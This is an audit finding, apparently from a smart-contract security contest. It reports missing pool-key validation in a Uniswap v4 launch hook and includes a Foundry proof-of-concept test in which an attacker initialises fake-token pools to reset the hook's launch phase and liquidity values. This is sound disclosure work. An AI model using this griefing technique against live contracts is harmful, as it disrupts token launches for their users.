Vanguard

First Flight #56
Beginner FriendlyDeFiFoundry
0 EXP
Submission Details
Impact: high
Likelihood: medium

Missing pool key validation, exposes to griefing attack

Author Revealed upon completion

Root + Impact

Description

  • TokenLaunchHook seems to be built assuming that it will not handle multiple pools at the same time, however Uniswapv4 pools are permissionless and can be pointed to hook contracts.

  • An attcker could spin up a pool with fake tokens and point it to TokenLaunchHook.
    When the attacker initializes the pool it will trigger TokenLaunchPool::_afterInitialize and reset global variables like initialLiquidity, launchStartBlock and lastPhaseUpdateBlock.

    function _afterInitialize(address, PoolKey calldata key, uint160, int24) internal override returns (bytes4) {
    if (!key.fee.isDynamicFee()) {
    revert MustUseDynamicFee();
    }
    launchStartBlock = block.number;
    uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
    initialLiquidity = uint256(liquidity);
    currentPhase = 1;
    lastPhaseUpdateBlock = block.number;
    return BaseHook.afterInitialize.selector;
    }

Risk

Likelihood

  • Medium: It might be very easy for an attacker to perform this attack, but it's not going to be very profitable

Impact

  • High: TokenLaunchHook will be stuck in phase 1 as long as the attacker keeps initializing new pools pointing to TokenLaunchHook.

  • initialLiquidity will be set by the attacking pool and stay like that.

Proof of concept

Add the following test to understand the attack flow:

function test_InsufficientPoolKeyValidation() public {
// Initial swap to set initial liquidity in the first pool
PoolSwapTest.TestSettings memory testSettings =
PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false});
uint256 swapAmount = 10 ether;
SwapParams memory params = SwapParams({
zeroForOne: true,
amountSpecified: -int256(swapAmount),
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});
swapRouter.swap{value: swapAmount}(key, params, testSettings, ZERO_BYTES);
// Advance to phase 2
vm.roll(block.number + phase1Duration + 25);
assertEq(antiBotHook.getCurrentPhase(), 2, "Should be in phase 2");
// Record initial liquidity and limits for Pool 1
uint256 initialLiquidityPool1 = antiBotHook.initialLiquidity();
console.log("Initial Pool 1 Liquidity:", initialLiquidityPool1);
// Attack begins here
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
// 1. Create fake tokens for the attacker pool
MockERC20 attackerToken1 = new MockERC20("Attack", "ATK", 18);
MockERC20 attackerToken2 = new MockERC20("Attack2", "ATK2", 18);
// 2. Sort the tokens to ensure currency0 < currency1
// This is a requirement for all PoolKeys in Uniswap v4
(Currency cur0, Currency cur1) = address(attackerToken1) < address(attackerToken2)
? (Currency.wrap(address(attackerToken1)), Currency.wrap(address(attackerToken2)))
: (Currency.wrap(address(attackerToken2)), Currency.wrap(address(attackerToken1)));
// 3. Initialize the attacker pool using the sorted Currencies
PoolKey memory attackerKey;
(attackerKey,) = initPool(
cur0,
cur1,
antiBotHook,
LPFeeLibrary.DYNAMIC_FEE_FLAG,
SQRT_PRICE_1_1_s
);
assertEq(antiBotHook.initialLiquidity(), 0, "Initial liquidity should be reset to 0 after attacker pool init");
assertEq(antiBotHook.currentPhase(), 1, "Phase should reset to 1 after attacker pool init");
vm.stopPrank();
}

Recommended mitigation

Track these global variables in mapping data structures, so that you can use the pool key to discriminate between pools:

- uint256 public lastPhaseUpdateBlock;
- uint256 public launchStartBlock;
- uint256 public initialLiquidity;
+ mapping(uint256 => uint256) public lastPhaseUpdateBlock;
+ mapping(uint256 => uint256) public launchStartBlock;
+ mapping(uint256 => uint256) public initialLiquidity;

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!